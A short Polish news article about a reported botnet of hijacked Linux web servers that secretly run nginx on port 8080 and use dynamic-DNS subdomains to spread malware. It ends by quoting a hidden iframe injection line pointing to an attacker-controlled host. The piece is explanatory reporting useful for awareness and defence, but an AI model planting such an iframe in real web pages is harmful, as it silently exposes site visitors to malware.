Botnet serwerów WWW: bo Linux też jest podatny na zombifikację

„To co tu widzimy, to długo wyczekiwany botnet poddanych zombifikacji serwerów WWW! Grupa połączonych ze sobą serwerów ze wspólnym ośrodkiem sterującym, która służy rozprowadzaniu szkodników (…) a cały botnet jest połączony z botnetem działającym na normalnych, domowych komputerach PC” – z entuzjazmem rozpoczął swoją relację Sinegubko.

Każda z zarażonych maszyn odkrytych przez rosyjskiego badacza, to serwer wirtualny lub dedykowany, na którym hostowana jest całkiem legalna witryna, serwowana przez Apache'a na porcie 80. Jednak po cichu maszyny te uruchamiają serwer nginx na porcie 8080, wysyłając za jego pomocą szkodliwy kod. Jest to możliwe dzięki dostawcom dynamicznego DNS – DynDNS.com i No-IP.com – zapewniającym darmowe domeny, podłączane pod IP poddanych zombifikacji serwerów.

Usługi te dostarczają wielu (łącznie ponad stu) domen drugiego poziomu, które mogą być wykorzystane do konstruowania licznych i wiarygodnie wyglądających domen trzeciego poziomu. Dzięki temu atakujący mogą stosować nazwy takie jak np. server.homelinux.org – które zupełnie nie wyglądają jak typowe źródło malware'u.

Kolejnym krokiem jest wykorzystanie pływających ramek iframe, za pomocą których szkodliwy kod wstrzykiwany jest do normalnych stron internetowych. Wygląda to np. tak:

<iframe src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>